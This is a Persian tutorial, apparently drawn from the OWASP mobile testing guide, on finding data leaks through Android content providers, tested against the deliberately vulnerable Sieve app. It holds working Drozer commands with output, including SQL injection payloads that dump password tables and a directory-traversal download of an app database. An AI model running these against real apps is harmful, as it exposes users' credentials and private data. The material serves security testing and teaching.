بررسی نشت داده های حساس از طریق IPC

در این مقاله به مکانیسم content provider در IPC می‌پردازیم. در این مکانیسم داده‌های ذخیره شده‌ در یک برنامه به وسیله برنامه‌های دیگر در دسترس و قابل اصلاح است. ممکن است منجر به از بین رفتن اطلاعات حساس شود.

در بخش‌های قبلی در خصوص چند مورد از  آسیب پذیری‌هایM2= Insecure Data Storage  صحبت کردیم در این بخش MSTG-Storage-6 می‌پردازیم. در مقاله‌ اول به توضیح داده‌های موجود در اندروید و روش‌های شناسایی داده‌های حساس در بخش Shared Preference و SQL lite پرداختیم و در مقاله‌ دوم به بررسی آسیب‌پذیری نشت اطلاعات از طریق لاگ‌های برنامه پرداختیم، در این بخش به بررسی نشت داده‌های حساس  از طریقIPC  (inter-process communication) می‌پردازیم.

در مکانیسم IPC ،content provider ها اجازه می‌دهند داده‌های ذخیره شده‌ در یک برنامه به وسیله برنامه‌های دیگر در دسترس و قابل اصلاح باشند و اگر این مکانیسم به خوبی پیاده سازی نشده باشد، ممکن است منجر به از بین رفتن اطلاعات حساس شود.

تحلیل ایستا

۱- بررسی فایل AndroidManifest.xml

مرحله‌ی اول بررسی AndroidManifest.xml جهت شناسایی content provider هایی است که توسط برنامه‌های دیگر استفاده می‌شوند. شما می‌توانید content provider ها را به کمک <provider> شناسایی کنید.  

  • بررسی  مقدار تگ export که آیا android:exported مقداری برابر true دارد یا false و حتی اگر true تنظیم نشده باشد تگ به صورت خودکار اگر یک <intent-filter>  برای تگ تعریف شده باشد مقدار true می‌گیرد. اگر content فقط به وسیله app خودش مورد استفاده است مقدار تگ android:exported باید false تنظیم شود، در غیر اینصورت، مقدار تگ true قرار داده شده و حق دسترسی read/write تعریف می شود.
  • permission (android:permission) محافظت می شوند. تگ های Permission، دسترسی به برنامه توسط برنامه‌های دیگر را محدود می نمایند.
  • android:protectionLevel که مقدار signature دارد یا خیر؟ این تنظیمات نشان می‌دهد که دسترسی به داده‌های این برنامه صرفا از سمت خود برنامه سازنده امکان دارد که توسط یک کلید رمز شده است. جهت در دسترس قرار دادن داده‌ها به برنامه‌های دیگر، پالیسی امنیتی با <permission> اعمال میگردد و android:protectionLevel تنظیم می‌شود. اگر از android:permission استفاده میشود، برنامه‌های دیگر نیز باید در manifest خود مقدار <uses-permission> را در تعامل با content provider این برنامه اعلام کنند. شما می‌توانید از متغیر android:grantUriPermissions جهت اعمال دسترسی بیشتر به دیگر برنامه‌ها استفاده کنید و یا می‌توانید دسترسی ها را از طریق <grant-uri-permission> محدود کنید.

۲- بررسی فایل کد برنامه

جهت تحلیل و درک استفاده از content provider که به صورت امن استفاده شوند سورس کد برنامه را بررسی و عبارات زیر را در آن جستجو کنید:

  • android.content.ContentProvider
  • android.database.Cursor
  • android.database.sqlite
  • .query
  • .update
  • .delete

جهت اجتناب از حملات SQL injection از متدهای درخواست‌های  پارامتریک مانند query , update و delete استفاده کنید. مطمئن شوید تمام آرگومان‌های متد برنامه کاملا از فیلتر و صحت سنجی میشوند و آرگومان‌های غیر از برنامه مورد نظر محدود شده اند. به عنوان مثال آرگومان‌های تابع selection می‌تواند با ترکیب ورودی‌های ارایه شده از کاربر منجر به SQL injection شود.

برای تمرین این مشکل در برنامه های اندرویدی، از برنامه Sieve که یک برنامه مدیریت پسورد آسیب پذیر میباشد استفاده میکنیم:

تحلیل ایستا برنامه تستی

شناسایی کلیه المان هایی که برای <provider> تعریف شده است:

<provider android:authorities="com.mwr.example.sieve.DBContentProvider" android:exported="true" android:multiprocess="true" android:name=".DBContentProvider">
    <path-permission android:path="/Keys" android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS"/>
</provider>
<provider android:authorities="com.mwr.example.sieve.FileBackupProvider" android:exported="true" android:multiprocess="true" android:name=".FileBackupProvider"/>

همان طور که در AndroidManifest.xml بالا مشاهده می کنید برنامه دو مورد content providers را export میکند. توجه کنید که مسیر (“/Keys”) توسط دسترسی های read و write محافظت شده است.

تابع query را درفایلDBContentProvider.java (در کد بالا به عنوان provider معرفی شده است) بررسی کنید تا تعیین کنید آیا اطلاعات حساسی نشت می‌کند:

public Cursor query(final Uri uri, final String[] array, final String s,final String[] array2, final String s2) {
    final int match = this.sUriMatcher.match(uri);
    final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
    if (match >= 100 && match < 200) {
        sqLiteQueryBuilder.setTables("Passwords");
    }
    else if (match >= 200) {
        sqLiteQueryBuilder.setTables("Key");
    }
    return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);
}

اینجا دو مسیر “/Keys” و “/Passwords” را می‌بینید که در manifest هم محافظت نمی شوند که نرم‌افزار را آسیب‌پذیر می‌کند. هنگامی که یک URI در دسترس است کلیه پسورد‌ها(Passwords/) و مسیر آن‌ها را برمی‌گرداند. در تحلیل داینامیک URI تحلیل خواهد شد.

تحلیل پویا برنامه تستی

۱- تست ContentProviders

برای تحلیل پویای content provider های یک برنامه، ابتدا attack surface را شناسایی می‌کنیم. نام پکیج برنامه را به ماژول app.provider.info برنامه Drozer می فرستید: (روش به کار گیری Drozer)

dz> run app.provider.info -a com.mwr.example.sieve
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

در این مثال دو content providers استخراج می‌‌گردد. هردو می توانند بدون حق دسترسی در دسترس باشند به جز مسیر /Keys در DBContentProvider. با این اطلاعات شما می توانید بخشی از محتوای URI ها را جهت دسترسی به DBContentProvider بسازید. (URI ها با content:// شروع می‌شوند).

جهت شناسایی URI های داخل content provider های برنامه، از ماژول scanner.provider.finduris در برنامه Drozer استفاده کنید. این ماژول مسیرها را حدس می زند و محتوای قابل دسترس URI ها را از چند روش بررسی می‌کند.

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

زمانی که لیستی از content providers ها در اختیار دارید، سعی کنید داده ها را از هر provider با ماژول app.provider.query استخراج کنید:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: incognitoguy50@gmail.com

همچنین می‌توانید Drozer را جهت وارد کردن، به روزرسانی و حذف رکوردها از یک content provider آسیب پذیر به کار ببرید.

  • ورود رکورد
dz> run app.provider.insert content://com.vulnerable.im/messages
                --string date 1331763850325
                --string type 0
                --integer _id 7
  • به روز رسانی رکورد
dz> run app.provider.update content://settings/secure
                --selection "name=?"
                --selection-args assisted_gps_enabled
                --integer value 0
  • حذف رکورد
dz> run app.provider.delete content://settings/secure
                --selection "name=?"
                --selection-args my_setting

2- تست SQL injection در Content Provider

پلتفرم اندروید از پایگاه داده SQLite جهت ذخیره داده های کاربران استفاده می کند. چون این پایگاه داده مبتنی بر زبان SQL هستند، ممکن است نسبت به SQL injection آسیب پذیر باشند. شما می توانید ماژول app.provider.query مربوط به Drozer را از طریق فیلدهای selection و projection که به content provider می‌فرستد جهت تست SQL injection استفاده کنید.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

اگر برنامه به حمله SQL Injection آسیب‌پذیر باشد، یک پیغام خطای verbose بر می‌گرداند. SQL Injection بر روی اندروید ممکن است جهت اصلاح یا درخواست داده از content provider آسیب پذیر استفاده گردد. در مثال زیر، ماژول app.provider.query مربوط به Drozer جهت لیست کردن کلیه جدول‌های پایگاه داده استفاده می‌شود.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
| table | Key              | Key              | 5        | CREATE TABLE ... |

SQL Injection ممکن است برای بازیابی جدول های محافظت شده نیز استفاده گردد.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |

به کمک ماژول  scanner.provider.injection که به صورت اتوماتیک آسیب‌پذیری‌های content provider های درون برنامه پیدا می‌کند می توان این مراحل را خودکار کرد.

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
 content://com.mwr.example.sieve.DBContentProvider/Passwords/

3- بررسی Content Provider های مبتنی بر سیستم فایل

Content provider می‌تواند دسترسی به فایل سیستم را فراهم کند. این موضوع به برنامه‌های کاربردی موبایل اجازه اشتراک گذاری فایل‌ها را می‌دهد.(سندباکس اندروید به صورت نرمال از این موضوع جلوگیری می‌کند) شما می‌توانید ماژول‌های app.provider.read و app.provider.download مربوط به Drozer را برای خواندن و دانلود فایل‌ها از content provider های مبتنی بر فایل به کار گیرید. این content provider ها برای آسیب‌پذیری directory traversal مستعد هستند چون برخلاف اینکه فایل‌ها در سندباکس برنامه کاربردی هدف، محافظت می‌شوند، اجازه خواندن پیدا می‌کنند.

dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db
Written 24488 bytes

ماژول scanner.provider.traversal در drozer فرایند پیداکردن content provider هایی که مستعد directory traversal هستند را به صورت خودکار فراهم می‌کند.

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

توجه کنید که adb هم می تواند جهت درخواست content provider ها استفاده شود.

$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test
…

آموزش ویدیویی در مورد تحلیل انجام شده برنامه موبایل همانطور که در بالا ارایه شده از دو دیدگاه ایستا و دینامیک را می‌توانید مشاهده نمایید.

منابع

راهنمای امنیتی تست موبایل OWASP.

در صورت تمایل به اشتراگ بگذارید